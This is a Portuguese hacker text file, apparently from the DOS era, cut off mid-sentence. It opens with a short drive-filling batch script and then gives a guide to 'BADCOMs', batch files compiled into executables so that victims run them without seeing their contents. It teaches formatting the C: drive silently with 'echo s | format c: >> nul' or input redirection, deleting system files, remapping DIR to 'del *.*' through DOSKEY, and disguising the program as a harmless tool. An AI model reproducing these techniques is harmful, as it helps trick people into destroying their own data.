Como fazer um arquivo para encher o HD
Crie um diretorio temporario, exemplo: C:\LIXO.
Edite um arquivo do tipo X.BAT, atraves do EDIT do DOS e monte o
seguinte programa conforme as linhas abaixo.
@ECHO OFF
DIR >> ENCHE
:ENCHE
TYPE ENCHE >> ENCHE
CLS
ECHO ENCHENDO AGUARDE...
GOTO ENCHE
Pronto, o programinha esta feito, ela ira criar cada vez um arquivo
maior com o nome enche no C:\LIXO.
E para que usar um programinha inutil destes? Simplesmente para
testar o disco rigido, o CPU nao pode travar com o HD enchendo, nem
quando ele ficar cheio, se o CPU travar eh porque o HD esta com problema,
se ele aguentar ateh nao ter mais espaco o HD nao tem problema.
Para cancelar a operacao, pressione CTRL+C ...
Atencao, voce pode formatar um HD e fazer este teste, e ver se o
HD esta OK, o HD pode estar todo deletado, ou pode ser um HD usado, com
100Mb livre um de 1.2Gb ou um com 70 ou 60Mb de 1.0Gb, etc... e
rodar o programa, para testar neste HD, e quando o HD encher voce ve se
esta OK ou nao. Quando der problema, o problema pode ser do CPU ou MB as
vezes.
Depois que rodar o programa eh soh deletar o diretorio LIXO e ele
desenche o HD!
Nunca rode isto no PROMPT do DOS do WIN 3.1 ou principalmente no
WIN 95, que o CPU ira travar. Se este for seu caso, entre antes em MODO
Somente prompt ou MODO MS-DOS.
Eh isso ai...
GUIA DEFINITIVO DE BADCOM'S Este Texto, ou melhor.. Esta Biblia.. hehe foi enviada por Overlord , que Bitolou em Badcom's e fez uma biblia sobre o assunto, eu nÆo cheguei a ler tudo, mas s¢ de dar uma olhada da pra notar que ta Completissimo !! Valeu'z vrlrÑ, Querendo mandar mais coisas, estamos a¡. O GUIA DEFINITIVO - VersÆo 1.666 AUTOR: Overlord ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³\/\/\/\/\/\/\/\/\/\/\/\/\/ - - = [ AvIsO ] = - - \/\/\/\/\/\/\/\/\/\/\/\/\/\³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ NÆo vou dizer que esse texto apenas para fins informativos e que tudo ³ ³ que est contido aqui nÆo deve ser usado porque eu sei muito bem que quem ³ ³ est lendo isso quer mesmo fuder o computador de algum, mas lembre-se ³ ³ de que eu, vrlrÑ, nÆo estou nem a¡ com o que pode acontecer com voc ³ ³ devido ao uso das informaäes aqui contidas. Se o seu cachorro morrer, ³ ³ voc engravidar sua empregada ou se terroristas invadirem sua casa e ³ ³ explodirem seu computador nÆo venha me encher o saco, FODA-SE! :-) ³ ³ Use essas informaäes vontade, mas faa tudo por SUA conta! ³ ³ Voc pode copiar este arquivo, contanto que deixe bem claro que EU sou o ³ ³ £nico autor desse texto. NÆo fazendo isso voc s¢ estar provando o lamah ³ ³ que ... Agora chega de falar merda e vamos ao que interessa... ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³\/\/\/\/\/\/\/\/\/\/\/\/\/\ - - = [ ÖnDicE ] = - - /\/\/\/\/\/\/\/\/\/\/\/\/³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
1. IntroDuÇo AoS BaDComS 1.1) Informaäes gerais 1.2) O que necess rio? 1.3) Como fazer um BADCOM? 2. ComAnDoS dO DoS 2.1) ECHO 2.2) DEL/ERASE 2.3) DELTREE 2.4) FORMAT 2.5) FOR 2.6) IF 2.7) SET/VARIµVEIS NO DOS 2.8) GOTO 2.9) VER 2.10) VOL 2.11) CLS 2.12) ATTRIB 2.13) CALL 2.14) CHOICE & ERRORLEVELS 2.15) COPY 2.16) CTTY 2.17) DIR 2.18) TYPE 2.19) MORE 2.20) MD/MKDIR/CD/CHDIR/RD/RMDIR 2.21) LABEL 2.22) FIND 2.23) PAUSE 2.24) REN/RENAME 2.25) SUBST 2.26) TIME 2.27) REM 2.28) DOSKEY 2.29) XCOPY 3. ReCurSos InTeRessAnTeS 3.1) PIPES 3.2) Redirecionamento de I/O 3.3) Diret¢rios inacess¡veis 3.4) ANSI 4. ExEmPloS (100% ComENtAdoS) 4.1) Detectando o idioma do DOS 4.2) Detectando a data do computador 4.3) ANSIBOMB 4.4) Travando o computador 4.5) Time Bomb 4.6) Enchendo o HD de lixo 4.7) Abrindo janelas infinitamente 4.8) Usando o DOSKEY pra destruir 4.9) Travando o computador durante a inicializaÆo 5. CoMo ConTaTar o AUtOr ApÒnDiCe B: TaBeLa ASCii Apndice B: ERRoRlEvElS ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³/\/\/\/\/\/\/\/\/\ - - = [ IntroDuÇo AoS BaDComS ] = - - /\/\/\/\/\/\/\/\/\³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ 1.1) Informaäes gerais BADCOMS sÆo, basicamente, arquivos batch do DOS transformados em arquivos execut veis com o uso de um compilador. "Mestre, mestre! Ilumine as trevas de minha ignorncia com a luz de sua sapincia! Por que eu deveria me dar ao trabalho de compilar os batches?" Simples, qualquer imbecil sabe pra que servem comandos como o FORMAT ou DEL e qualquer imbecil tambm sabe usar o comando TYPE pra ver o conte£do de um arquivo, logo, se esse mesmo imbecil der um TYPE no seu batch e ver qualquer comando "estranho", vai saber de suas m s intenäes e nÆo vai rodar o programa. Se voc transformar em um execut vel, ningum poder ler o conte£do do arquivo e voc poder fazer a festa! :-) 1.2) O que necess rio? Voc precisa apenas de um editor de texto (MS-DOS Edit RuleZ!), um compilador de arquivos .BAT, conhecimentos b sicos de DOS, criatividade e uma vontade louca de detonar algum! :-) Uma ferramente opcional: editor de telas ANSI, pra voce nÆo ter que escrever toneladas de c¢digos de escape pra fazer uma tela legal. Onde encontrar ferramentas £teis: -> http://www.filez.com 1.3) Como fazer um BADCOM? F cil. Abra seu editor ASCII favorito e escreva os comandos que voc quiser. Mas um BADCOM nÆo adiantar nada se a interface nÆo for convincente. NÆo nada inteligente exibir uma mensagem como "Ha, Ha, Ha! Detonei seu HD!", a melhor coisa a fazer terminar o programa com uma mensagem de erro, porque se o cara vier te amolar voc responde: "U... AQUI FUNCIONOU LEGAL...". O principal : SEJA REALISTA! Se voc vai dizer pra sua v¡tima que o seu BADCOM um MailBomber, faa ele se parecer com um MailBomber. Outra idia legal pegar qualquer arquivo execut vel e renomear ele pra ?.DAT e mandar junto com o seu programa. Qualquer um desconfia quando voc passa um £nico arquivo execut vel de 2KB. ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³\/\/\/\/\/\/\/\/\/\/\ - - = [ ComAnDoS dO DoS ] = - - /\/\/\/\/\/\/\/\/\/\/\³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ Essa parte contm v rios comandos que podem ser utilizados nÆo s¢ em BADCOMS mas em batches inofensivos. Para maiores informaäes sobre os comandos do DOS escreva HELP no prompt ou se quiser saber mais sobre um determinado comando escreva o comando e adicione a opÆo /?. Exemplos: C> echo /? C> format /? C> for /? 2.1) ECHO Sintaxe: ECHO [string] Exemplo: C> echo Fuck You Fuck You O comando ECHO, de forma geral, exibe uma string na tela. Caso essa string seja OFF, desativar a exibiÆo dos comandos na tela. Se for ON, ativar a mesma. Exemplo de arquivo: [echo1.bat] echo on echo ECHO est ativado echo off echo ECHO est desativado Quando voc rodar esse programa, ver o seguinte: C> echo on C> echo ECHO est ativado ECHO est ativado C> echo off ECHO est desativado Colocar uma @ antes do primeiro comando de cada linha, equivale ao ECHO OFF, mas apenas nessa linha. Para que o programa fique melhor, aconselha-se colocar o comando @ECHO OFF na PRIMEIRA linha do programa, assim voc nÆo precisa colocar uma @ antes de cada linha. 2.2) DEL/ERASE Sintaxe: DEL [nome_do_arquivo] ERASE [nome_do_arquivo] Exemplos: C> del autoexec.bat C> erase autoexec.bat Esse comando nÆo precisa de muita explicaÆo. Apenas exclui o arquivo especificado. WildCards podem ser usadas (* e ?). 2.3) DELTREE Sintaxe: DELTREE (/Y) [nome_do_arquivo] Exemplos: C> deltree c:\windows C> deltree /y c:\games Tambm nÆo tem muito segredo. Exclui um diret¢rio e tudo que tiver dentro dele. A opÆo /Y detona tudo sem pedir confirmaÆo mas deve ser usado logo ap¢s o comando DELTREE. Isso NÇO funcionaria: C> deltree c:\windows /y 2.4) FORMAT Sintaxe: FORMAT (/Q) (/U) (/V:label) [unidade_a_ser_detonada] Exemplos: C> format /q a: C> format /u c: O comando mais divertido que pode ser usado em BADCOMS. Fode o drive especificado literalmente. A opÆo /Q realiza uma formataÆo r pida e /U realiza uma formataÆo incondicional. A opÆo /V:label espeficifica o nome do volume da unidade, nÆo tem muito segredo... Mas se o drive especificado for um HD aparecer uma pergunta est£pida, que o cara responde NÇO e mantm o HD a salvo. Veja mais a frente como resolver isso. 2.5) FOR Sintaxe: FOR %a in (arquivo1 arquivo2...) DO [comando] %a Exemplo: C> for %a in (autoexec.bat config.sys) do del %a Supunhetemos que voc queira executar o mesmo comando pra v rios arquivos. Ao invs de escrever o mesmo comando uma porrada de vezes, use o comando FOR. Explicando detalhadamente: o comando FOR define uma vari vel chamada %a (ou qualquer letra) e define o valor dessa vari vel com os nomes que estÆo entre parnteses. Feito isso, executa um comando cujo parmetro principal a vari vel %a. Outro exemplo: C> for %a in (autoexec.bat config.sys command.com) do del %a Far o seguinte: C> del autoexec.bat C> del config.sys C> del command.com Simples, nÆo? 2.6) IF Sintaxe: IF [condiÆo] [comando] Exemplos: if exist c:\autoexec.bat del autoexec.bat if not exist c:\1.bat echo 1 j foi deletado if "%1"=="fuckyou" echo Fuck You if not "%1"=="fuckyou" echo Don't Fuck You if errorlevel 1 goto 1 O comando IF testa uma condicional e se ela for verdadeira, executa um comando. O primeiro exemplo verifica se existe o arquivo c:\autoexec.bat e se existir, deleta ele. O segundo exemplo testa se o arquivo c:\autoexec.bat NÇO existe. Se nÆo existir, exibe a mensagem "1 j foi deletado". O terceiro exemplo testa se a vari vel %1 igual a "fuckyou". Se for, exibe a mensagem "Fuck You". O quarto exemplo testa se a vari vel %1 DIFERENTE de "fuckyou". Se for, exibe a mensagem "Don't Fuck You". O £ltimo exemplo testa se foi retornado um errorlevel igual a 1. Veja sobre os errorlevels mais a frente. 2.7) SET/VARIµVEIS NO DOS Sintaxe: SET [vari vel] = [valor] Exemplos: set variavel = qualquermerda set drive = C:\ O comando SET define uma vari vel de ambiente no DOS. Isso muito £til na programaÆo de batches. Acho que com um exemplo fica melhor de explicar: C> set scream=argh Isso criar uma vari vel chamada "scream" e definir seu valor como "argh". Se voc escrever no DOS: C> echo %scream% Ver a palavra "argh" no lugar de "%scream%": C> echo %scream% argh Ou seja, sempre que voc quiser fazer uma referncia a uma vari vel j definida, usa-se %nome_da_vari vel%. Como unir duas vari veis em uma s¢: suponhamos que voc tenha duas vari veis. Uma chamada "bah1" com o valor "1234567" e outra chamada "bah2" com o valor "8910" se voc quiser juntar as duas, s¢ fazer o seguinte: C> set BAAAAHHH=%bah1% ; %bah2% Neste exemplo est£pido que eu dei nÆo parece ser uma coisa muito £til, mas nÆo se engane porque ! Outro tipo de vari vel sÆo as especificadas na linha de comando. Elas sÆo %1, %2, %3 at %9. Como eu disse elas sÆo especificadas na linha de comando, ou seja quando voc roda o batch. Exemplo: [hd_fuck.bat] @echo off if "%1" == "" goto erro echo Preparando pra fuder o drive %1! format %1 goto fim :erro echo Seu imbecil, especifique o drive que voc quer detonar! goto fim :fim Rodando o arquivo dessa maneira... C> hd_fuck C: ...voc ver o seguinte: Preparando pra fuder o drive C:! AVISO, TODOS OS DADOS NO DISCO NÇO-REMOVÖVEL UNIDADE C: SERÇO PERDIDOS! Continuar com o Format (S/N)? Mas se nÆo especificar nenhum parmetro... C> hd_fuck ...resulta em: Seu imbecil, especifique o drive que voc quer detonar! Como voc pde perceber, 1% nesse exemplo era igual a C:. Note que foi utilizado o comando IF para verificar se a vari vel %1 era existente. Outra coisa que nÆo pode passar despercebida foi o uso do comando GOTO que ser explicado logo a seguir... Mais um detalhe: o FORMAT pediu a confirmaÆo idiota antes de detonar o HD... Em breve resolveremos isso... 8-) 2.8) GOTO Sintaxe: GOTO [nome] Exemplos: goto hora_de_fuder_o_hd goto erro O comando GOTO s¢ pode ser usado dentro de arquivos batch e serve para direcionar o programa para a linha especificada em [nome]. Quando o DOS encontra essa linha, executa todos os comandos existentes a partir dela. O nome da linha especificado com um :[nome]. Exemplo: [goto.bat] @echo off goto fuckyou echo Voc vai se fuder... :fuckyou echo Se fudeu! Muito simples. Logo no comeo do programa DOS direcionado para a linha chamada "fuckyou" e exibe a mensagem "Se fudeu!", ou seja, a segunda linha, "echo Voc vai se fuder..." nÆo executada porque o DOS foi direcionado pra uma linha APàS esse comando. LOOPS INFINITOS: muito f cil. Basta ver o exemplo abaixo: [loop.bat] @echo off :loop dir goto loop Isso roda o comando DIR infinitamente, at o cara apertar CTRL+C ou desligar o computador... 2.9) VER Sintaxe: VER Exemplo: BAH! Exibe qual a versÆo do DOS voc est usando. Aparentemente um comando idiota e sem utilidade mas com um pouco decriatividade ele se torna um comando MUITO £til... Voc vai entender mais pra frente... 2.10) VOL Sintaxe: VOL Exemplo: BAH! Mostra o nome de volume da sua unidade... Semelhante ao comando acima, muito £til pra quem criativo. 2.11) CLS Sintaxe: CLS Exemplo: BAH! Apaga tudo que tem na tela. 2.12) ATTRIB Sintaxe: ATTRIB (+A) (+R) (+H) (+S) [nome_do_arquivo] ATTRIB (-A) (-R) (-H) (-S) [nome_do_arquivo] Exemplos: attrib +h c:\ruimdows attrib +s c:\config.sys attrib -r c:\command.com Define um attributo pra um arquivo ou diret¢rio. ¢bvio que o sinal de mais (+) indica que um atributo est sendo definido e um sinal de menos (-) indica que um atributo est sendo removido. Os atributos sÆo: A -> Atributo de Arquivo. Que diabos isso? Supunhetemos que voc queira copiar todos os arquivos que estÆo em um disquete para outro, menos os de extensÆo .VIR. O que voc faz? C> attrib +a a:\*.* C> attrib -a a:\*.vir A¡ voc usa o comando XCOPY: C> xcopy a: b: /a Meio esquisito, mas isso... R -> Atributo de somente para leitura. O arquivo nÆo pode ser modificado ou deletado a nÆo ser que o atributo seja removido. H -> Atributo de arquivo oculto. S¢ um burro pra nÆo perceber que isso esconde o arquivo. S -> Atributo de arquivo de sistema. Acho que, na pr tica, a mesma coisa que o atributo H. 2.13) CALL Sintaxe: CALL [nome_do_arquivo_batch] Exemplo: call virus.bat Comando usando DENTRO de arquivos batch que serve para chamar OUTROS arquivos batch, ou seja, roda outro arquivo batch mas sem parar de rodar o primeiro. Exemplo: [1.bat] @echo off echo Esse o arquivo batch 1... call 2.bat echo De volta pro batch 1... [2.bat] @echo off echo Esse o arquivo batch 2... Resulta em: C> 1 Esse o arquivo batch 1... Esse o arquivo batch 2... De volta pro batch 1... 2.14) CHOICE & ERRORLEVELS Sintaxe: CHOICE /C:[teclas] [texto] Exemplo: choice /c:123 Escolha uma opÆo: Esse comando exibe uma mensagem, espera que o usu rio escolha uma das teclas especificadas e retorna um valor de errorlevel, de acordo com a tecla. [fuck.bat] @echo off choice /c:123 Escolha uma opÆo: if errorlevel 3 goto opcao3 if errorlevel 2 goto opcao2 if errorlevel 1 goto opcao1 :opcao1 echo OpÆo 1 escolhida goto fim :opcao2 echo OpÆo 2 escolhida goto fim :opcao3 echo OpÆo 3 escolhida goto fim :fim Rodando isso, vai acontecer o seguinte: C> fuck Escolha uma opÆo:[1,2,3]? Se voc escolher a opÆo 1: C> fuck Escolha uma opÆo:[1,2,3]?1 OpÆo 1 escolhida Se escolher a 2: C> fuck Escolha uma opÆo:[1,2,3]?2 OpÆo 2 escolhida E por £ltimo: C> fuck Escolha uma opÆo:[1,2,3]?3 OpÆo 3 escolhida Ou seja, o comando CHOICE muito til para a criaÆo de menus, etc. Mas o que diabos sÆo os ERRORLEVELS? SÆo valores retornados pelos comandos do DOS, de acordo com o que causou o fim do programa. Geralmente, quando um comando/programa pra DOS termina normalmente, sem nenhum erro, retorna um ERRORLEVEL igual a 0. Os outros valores variam de acordo com os comandos. Veja uma lista de ERRORLEVELS mais adiante. Os errorlevels s¢ podem ser usados com o comando IF. Usando esse recurso, voc tornar seus batches melhores pois o mesmo poder tomar decisäes de acordo com o valor de errorlevel. Note que, quando voc usa o comando CHOICE, o comando IF deve testar os valores de errorlevel do maior para o menor. Veja um exemplo: [errorlev.bat] @echo off del autoexec.bat if errorlevel 0 echo NÇO OCORREU NENHUM PROBLEMA Isso far o seguinte: C> errorlev NÇO OCORREU NENHUM PROBLEMA L¢gico que essa mensagem s¢ ser exibida se nenhum erro ocorrer. Explicando melhor: se nÆo ocorrer nenhum problema na hora de deletar o arquivo, o DEL retornar um errorlevel 0. Voc tambm pode fazer assim: [errorsuck.bat] @echo off del c:\config.sys if not errorlevel 0 goto OPS echo NÆo ocorreu nenhum problema. goto fim :OPS echo Alguma coisa errada ocorreu. goto fim :fim Esse exemplo melhor, pois testa se o comando DEL NÇO retornou um errorlevel 0. Como o errorlevel 0 significa que nada de errado ocorreu, um errorlevel diferente de 0 significa que algo anormal aconteceu. Se ocorrer algo anormal ele exibe a mensagem "Alguma coisa errada ocorreu" mas se tudo der certo exibe "NÆo ocorreu nenhum problema". 2.15) COPY Sintaxe: COPY [origem] [destino] Exemplos: copy *.* c:\ruimdows copy c:\win95\*.* c:\autoexec.bat Copia os arquivos especificados para um diret¢rio ou para outro arquivo. 2.16) CTTY Sintaxe: CTTY [novo_dispositivo_de_entrada] Exemplo: ctty nul Este comando altera o dispositivo de entrada de dados do padrÆo (teclado) para outro que voc especificar. Mais tarde voc entender melhor isso... 2.17) DIR Sintaxe: DIR [/S] [/P] [/W] [nome_do_arquivo] Exemplos: dir /s dir autoexec.bat Este comando nÆo tem muito segredo. Se voc nÆo souber usar o comando DIR, escreva no prompt do DOS: C> echo s | format c: 2.18) TYPE Sintaxe: TYPE [nome_de_arquivo] Exemplo: type msdos.sys NÆo tem complicaÆo. Exibe o conte£do de um arquivo (sem fazer pausa entre as p ginas). Pode ser usado em conjunto com o comando MORE. 2.19) MORE Sintaxe: MORE [nome_do_arquivo] TYPE [nome_do_arquivo] | MORE (depende da versÆo do DOS) Exemplo: more sucks.txt type badcom.faq | more O comando MORE idntico ao comando TYPE, mas ao final de cada p gina, faz uma pausa. Em versäes mais antigas do DOS, o MORE s¢ funciona se for feito um PIPE com o comando TYPE. 2.20) MD/MKDIR/CD/CHDIR/RD/RMDIR Sintaxe: MD [nome_do_diret¢rio] ou MKDIR [nome_do_diret¢rio] CD [diret¢rio] ou CHDIR [diret¢rio] RD [diret¢rio_vazio] ou RMDIR [diret¢rio_vazio] MD/MKDIR cria um diret¢rio, CD/CHDIR chama (vai para) um diret¢rio e o RD/RMDIR deleta um diret¢rio (s¢ se o dito cujo estiver VAZIO). 2.21) LABEL Sintaxe: LABEL [nome_de_volume] Exemplo: label se_fudeu Muda o nome de volume da unidade atual. 2.22) FIND Sintaxe: FIND "string_procurada" [nome_do_arquivo] Exemplo: find "fuck" c:\trash.txt Procura por uma string em um determinado arquivo. Muito £til se utilizado juntamente com os errorlevels. 2.23) PAUSE Sintaxe: PAUSE Exemplo: BAH! Faz uma pausa no batch, at que o usu rio pressione qualquer tecla. Tambm exibe a mensagem " Pressione qualquer tecla para continuar..." 2.24) REN/RENAME Sintaxe: REN [nome_do_arquivo] [novo_nome] RENAME [nome_do_arquivo] [novo_nome] Exemplos: ren autoexec.bat noway.bat rename config.sys huahuahua.com Muda o nome de um arquivo. 2.25) SUBST Sintaxe: SUBST [nova_letra_de_unidade] [caminho] SUBST [unidade] /D Exemplo: subst f: c:\fuck subst f: /d Define uma letra de unidade para um determinado diret¢rio. Se voc usar a opÆo /D, o SUBST vai desativar a letra da unidade Jµ CRIADA pelo comando SUBST. S¢ vai funcionar se houver a seguinte linha no CONFIG.SYS: LASTDRIVE=Z 2.26) TIME Sintaxe: TIME Exemplo: BAH! Exibe a hora atual. 2.27) REM Sintaxe: REM [texto] Exemplo: rem Este um coment rio O comando REM usado quando voc quer adicionar um coment rio ao seu batch. 2.28) DOSKEY Sintaxe: DOSKEY [macro] [texto] /ECHO:on|off Exemplo: doskey dir del *.* O DOSKEY tem v rias utilidades, mas s¢ vou explicar uma, talvez a mais £til delas. Usando o DOSKEY voc pode criar macros, ou seja atribuir comandos a palavras (como um ALIAS). A utilidade disso num BADCOM que voc pode trocar os comandos do DOS do cara por outros. Veja o exemplo acima. Esse exemplo faz com que o comando DIR execute o comando DEL *.*. Voc pode usar isso como um Time Bomb ou pode apenas deixar sua v¡tima com o saco cheio mudando todos os comandos do DOS para besteiras sem sentido nenhum. A opÆo /ECHO define se os comandos da macro serÆo exibidos. Se for desativado, equivalente ao "@ECHO OFF". Alguns caracteres especiais de c¢digo de definiÆo de macro: $T: Separador de comando. Permite v rios comandos em uma s¢ macro. $1 a $9: Parmetros da macro. Igual a %1 a %9. $*: S¡mbolo substitu¡do por tudo ap¢s o nome da macro na linha de comando. Um detalhe, se sua v¡tima pressionar ALT+F10 todas as macros que voc criou serÆo desativadas. 2.29) XCOPY Sintaxe: XCOPY [origem] [destino] [/S] Exemplo: xcopy c:\games d:\fuck /s Semelhante ao COPY, s¢ que mais r pido, pois carrega todos os arquivos na mem¢ria e s¢ depois copia-os. Se a opÆo /S for usada todos os subdiret¢rios e arquivos de um diret¢rio tambm serÆo copiados. ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³/\/\/\/\/\/\/\/\/\ - - = [ RecuRsOs InTeReSSaNteS ] = - - \/\/\/\/\/\/\/\/\ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ Aqui voc vai encontrar uns recursos que tornarÆo seus BADCOMS muito melhores, e conseqentemente, mais destrutivos :-). 3.1) PIPES Sintaxe: [comando_do_dos_1] | [comando_do_dos_2] Exemplo: type damnit.txt | more Um pipe nÆo bem um comando. um recurso do DOS que permite que voc use um comando conectado a outro. meio phoda de explicar, o melhor ver pelos exemplos: C> echo s | format c: Isso far com que o FORMAT detone o HD diretamente, sem pedir confirmaÆo, ou melhor, o FORMAT PEDE a confirmaÆo, mas j vai ter uma resposta imediata: a letra S. Se voc escrever esse comando, ver o seguinte: AVISO, TODOS OS DADOS NO DISCO NÇO-REMOVÖVEL UNIDADE C: SERÇO PERDIDOS! Continuar com o Format (S/N)?s Explicando melhor, como se o DOS rodasse os dois comandos ao mesmo tempo e juntasse os resultados em um s¢. No exemplo acima o DOS exibe a letra "s" ao mesmo tempo que o FORMAT pede uma confirmaÆo a respeito da formataÆo. O mesmo vale para o exemplo do TYPE. 3.2) Redirecionamento de I/O Este um dos melhores recursos que existem na ediÆo de BADCOMS. Antes de tudo, REDIRECIONAMENTO DE I/O significa REDIRECIONAMENTO DE IN/OUT ou REDIRECIONAMENTO DE ENTRADA E SAÖDA. "Mestre, mestre! Alimente a minha fome de saber com o pÆo de sua inteligncia! NÆo entendi nada! Qual a utilidade pr tica disso?" It's too easy... Em um computador existem dispositivos de entrada de dados e de sa¡da de dados. O que voc usa pra inserir dados no seu computador? "NÆo sei, mestre." ANIMAL! o teclado! Da mesma forma que o dispositivo usado para a sa¡da de dados o monitor. Ou seja, todos os dados que voc insere pelo teclado saem (sÆo exibidos) no monitor. No DOS (e em outros sistemas) ocorre uma coisa muito legal que o redirecionamento de I/O. Voc pode direcionar a sa¡da de dados para outros dispositivos ou at mesmo para arquivos. "Mestre, como eu direciono um comando para outro dispositivo ou arquivo?" De acordo com a seguinte sintaxe: COMANDO > [dispositivo_ou_arquivo] ou COMANDO >> [dispositivo_ou_arquivo] Qual a diferena entre usar ">" ou ">>"? Veja os exemplos: C> echo merda,caralho,putaqpariu > palavroes.txt C> echo porra,bosta,cacete >> palavroes.txt 19| type nul > data4.dat 20| attrib +a +r +h +s data4.dat O primeiro exemplo vai CRIAR um arquivo chamado "palavroes.txt" contendo as palavras "merda,caralho,putaqpariu". O segundo exemplo vai ADICIONAR as palavras " porra, bosta, cacete" no arquivo j criado " palavräes.txt". Ou seja, o s¡bolo ">" vai CRIAR um novo arquivo e se ele j existir, vai ser sobreescrito. O s¡mbolo ">>" vai ADICIONAR a string £ltima linha de um arquivo j existente. Se o arquivo especificado nÆo existir, ele ser criado. Mais exemplos: C> dir /s > c:\listdir.txt Isso criar um arquivo chamado "listdir.txt" contendo TODOS os arquivos existentes no HD. O redirecionamento pode ser feito com qualquer comando do DOS. Lista dos dispositivos do DOS: AUX: primeira porta serial CLOCK$: rel¢gio do sistema COM1: primeira porta serial COM2: segunda porta serial COM3: terceira porta serial COM4: quarta porta serial CON: teclado LPT1: primeira impressora LPT2: segunda impressora LPT3: terceira impressora NUL: dispositivo nulo PRN: primeira impressora Direcionar os comandos do DOS para o dispositivo NUL muito £til, especialmente quando voc nÆo quer que o comando exiba nenhuma mensagem na tela. Exemplo: [pause1.bat] @echo off pause > nul echo Pressione uma tecla... rem pause > nul poderia ser substitu¡do por pause >> nul Isso faz com que a mensagem padrÆo do PAUSE nÆo seja exibida, pois ela foi direcionada para NUL, mas o programa vai continuar esperando at o usu rio apertar uma tecla e vai exibir uma mensagem diferente. Outro exemplo: C> echo s | format c: >> nul Vai formatar o HD sem exibir nada na tela, ou seja, at o cara perceber o que est acontecendo o HD dele j foi pro espao! Ha, Ha, Ha! :-D Mas voc tambm pode redirecionar o dispositivo de ENTRADA para um arquivo ou dispositivo, o que seria QUASE a mesma coisa que um PIPE. Por que "QUASE"? Supunhetemos que voc tem um programa que pede que voc pressione a tecla ENTER antes de comear a funcionar e voc quer rodar esse programa direto, sem ter que apertar ENTER. Como fazer isso? Voc cria um arquivo que contenha o ENTER e redireciona a entrada de dados do seu programa para esse arquivo. "Mas eu nÆo sei fazer isso..." bem f cil. Use o comando COPY CON. Isso copiar tudo que for inserido pelo dispositivo CON (tambm conhecido como teclado) para um arquivo. Veja esse exemplo: C> copy con enter.txt ----> Pressione ENTER ----> Pressione ENTER ----> Pressione ENTER ^Z ----> Pressione CTRL+Z e depois ENTER 1 arquivo(s) copiado(s) Isso vai criar um arquivo de 6 bytes, que se parecer com um arquivo vazio, mas que conter o caractere ENTER. Na verdade, nÆo necess rio apertar ENTER trs vezes na hora em que voc est criando o "enter.txt", uma vez basta, mas bom garantir... Agora que o seu arquivo j est criado, voc deve proceder de acordo com a seguinte sintaxe para direcionar a entrada de dados: COMANDO < arquivo Por exemplo, voc quer rodar o comando TIME, mas nÆo quer que aparea aquela babaquice de "Digite a nova hora:". Basta que voc direcione o comando TIME pro arquivo j criado "enter.txt", assim: C> time < enter.txt A hora atual **:**:**,** Digite a nova hora: C> como se o ENTER fosse pressionado automaticamente, retornando imediatamente ao prompt. Mas o arquivo a qual voc vai direcionar pode ter um conte£do diferente. Pode conter a letra "s", no caso do programa pedir uma confirmaÆo, pode conter um "n", depende do programa. Se voc criar um arquivo chamado "s.txt", obviamente contendo a letra "s" e um ENTER voc pode redirecionar o FORMAT, detonando o HD sem pedir confirmaÆo: C> format c: < s.txt Uma coisa que voc nÆo pode esquecer em hip¢tese alguma, de mandar o arquivo que voc usa para o 